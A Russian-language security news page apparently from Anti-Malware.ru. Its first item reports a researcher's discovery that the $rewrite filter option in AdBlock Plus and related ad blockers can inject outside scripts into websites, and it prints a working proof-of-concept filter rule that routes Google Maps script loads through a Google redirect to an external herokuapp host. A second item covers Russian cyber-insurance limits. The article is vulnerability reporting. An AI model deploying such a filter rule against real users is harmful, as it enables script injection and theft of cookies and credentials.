Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

30% страховщиков ограничивают лимиты по киберрискам до 100 млн руб.

Как показало исследование страхового брокера АСТ, действующие лимиты по страхованию киберрисков недостаточны для покрытия всех возможных убытков. Среди ключевых препятствий также называют высокую стоимость полисов — даже при использовании франшиз. По данным АСТ, 30% страховых компаний предлагают лимиты в диапазоне от 10 до 100 млн рублей, а 43% — от 100 до 500 млн рублей.

Результаты исследования привёл «Коммерсантъ». При этом 15% опрошенных организаций заявили, что хотели бы иметь покрытие на сумму свыше 500 млн рублей.

По словам совладельца страхового брокера Mains Сергея Худякова, существующие лимиты, предлагаемые российскими страховыми компаниями, подходят в основном компаниям малого и среднего бизнеса. Однако крупные предприятия — в частности, промышленные компании, крупные ретейлеры, телеком-операторы и банки с масштабной ИТ-инфраструктурой — нуждаются в более высоком уровне покрытия.

Среди тех, кто не смог подобрать подходящие условия страхования, оказалась даже подведомственная Банку России «Национальная страховая информационная система» (НСИС). Как отметил её руководитель Николай Галушин в комментарии для «Коммерсанта», ситуация с предложениями для структур такого масштаба за последний год не изменилась в лучшую сторону.

По мнению экспертов, одним из возможных решений может стать перестрахование — распределение рисков между несколькими страховыми компаниями. Этот вариант уже обсуждается с Российской национальной перестраховочной компанией. Однако, как уточнил исполнительный директор СОГАЗа Анар Бахшалиев, такой подход требует от клиентов предоставления более подробной информации об ИТ-инфраструктуре и уровне её защиты, что увеличивает сроки заключения договоров.

Исследование АСТ также показало, что уровень киберзащищённости компании является главным фактором, влияющим на стоимость полиса. По оценке Сергея Худякова, она составляет от 1 до 3% от суммы покрытия. Встречаются и случаи, когда договоры заключаются бесплатно — как дополнение к пакету услуг, однако при этом размер покрытия минимален.

Ещё одной проблемой, по мнению авторов исследования, является самоуверенность компаний. Более половины участников опроса заявили, что не сталкивались с киберинцидентами, а 20% признались, что не знают, были ли они вообще. Однако, как отметил директор департамента «Страхование» компании «Рексофт» Никита Евсеенко, подобная уверенность часто основана не на реальной защищённости, а на культуре замалчивания инцидентов.

Тем не менее 90% компаний готовы оформить полис, если страхование киберрисков станет обязательным. Соответствующие инициативы обсуждаются с 2023 года.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru